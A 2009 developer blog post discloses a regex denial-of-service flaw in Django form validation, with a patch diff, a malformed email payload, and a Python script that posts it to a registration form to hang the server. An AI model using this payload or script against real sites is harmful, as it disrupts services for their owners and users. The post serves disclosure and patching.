Serotonin Storm

About

The opensource blog of Justin Quick discussing software/web development, security, and general techie goodness. read more...

Subscribe

Categories

Recent Posts

Recent Django Vulnerability

Discussing the recent regex vulnerability in django.forms
Oct. 13, 2009
Django, Python, Web,

Recently it has been brought to the world's attention that there is a flaw in a central part of Django which pegs the CPU usage given a particular input. The problem is not so much related to Django, but the re module in Python itself. When presented with a particular input, either in the form of an email address or URL, the re module hangs in an infinite loop, using up close to 100% CPU. The problem, which was only reported on the 9th of October, has already been fixed in the Django trunk and in release v1.1.1 and v1.0.4. It was a small fix, which I had to update in several places and you can apply your own patch like so

Index: django/forms/fields.py
===================================================================
--- django/forms/fields.py  (revision 10101)
+++ django/forms/fields.py  (working copy)
@@ -421,7 +421,7 @@
 email_re = re.compile(
     r"(^[-!#$%&'*+/=?^_`{}|~0-9A-Z]+(\.[-!#$%&'*+/=?^_`{}|~0-9A-Z]+)*"  # dot-atom
     r'|^"([\001-\010\013\014\016-\037!#-\[\]-\177]|\\[\001-011\013\014\016-\177])*"' # quoted-string
-    r')@(?:[A-Z0-9-]+\.)+[A-Z]{2,6}$', re.IGNORECASE)  # domain
+    r')@(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+[A-Z]{2,6}\.?$', re.IGNORECASE)  # domain

 class EmailField(RegexField):
     default_error_messages = {
@@ -527,7 +527,7 @@

 url_re = re.compile(
     r'^https?://' # http:// or https://
-    r'(?:(?:[A-Z0-9-]+\.)+[A-Z]{2,6}|' #domain...
+    r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+[A-Z]{2,6}\.?|' #domain...
     r'localhost|' #localhost...
     r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' # ...or ip
     r'(?::\d+)?' # optional port

It is a very small fix, so there is no reason not to do it. This bug apparently only presents itself on certain versions of the linux kernel on certain operating systems. In order to exploit this bug, all you have to do is find a public facing form with an email or URL field in the form and paste in something like this example email address

"viewx3dtextx26qx3d@yahoo.comx26latlngx3d15854521645943074058"

Since most Django sites out there use django-registration, i created and exploit for the app in order to test to see if your registration enabled site is vulnerable to the attack. Make sure you have an ssh window open and are ready to restart/kill off any webserver processes that get hung up. I tried this on some of my own sites which use apache2 and i needed to run killall -9 apache2 in order to get things running smoothly again. Needless to say: you should only do this to sites you manage and only for testing purposes! This is an exploit and could really ruin somebody's day if used improperly! Please use responsibly

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import urllib
import urllib2

url = 'http://some-site-i-want-to-exploit.com/accounts/register/'
values = {
    'username' : 'myuniqueusername',
    'email' : 'viewx3dtextx26qx3d@yahoo.comx26latlngx3d15854521645943074058',
    'password1' : 'mypassword',
    'password2' : 'mypassword',
}

data = urllib.urlencode(values)
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
print response.read()

This process should get stuck if the site you are trying to exploit is vulnerable to the attack. If the site is safe, then the script will just spit out the html of the registration page with validation errors for the email field.

I have looked around on the Djangosites.org list and have send out several emails to webmasters of sites that appear to be vulnerable to this attack.

The solution is very straightforward, just update your Django install to the latest version. If you cannot do this, then just patch django/forms/fields.py with the updated regexes above and then restart/reload your webserver. If you are on a shared host and think that you are vulnerable, tell your system administrators immediately about the problem and make sure that they fix it ASAP.

While this problem appears in the Django forms, it's actually a lower level problem with the re module and malformed regexes used in validation. With this in mind I am going to do some more poking around at some other Pythonic web implementations (Zope, Twisted, CherryPy, etc) to see if they also have a similar vulnerability. This is also a fair warning for any Python application that uses regex validation for email addresses or URLs to make sure that the regexes are correct, well formed, and will pass the tests outlined above. When in doubt, use the newly patched Django versions of the regex instead of brewing your own.

For more reading checkout the Django users group post and the Django project blog entry






blog comments powered by Disqus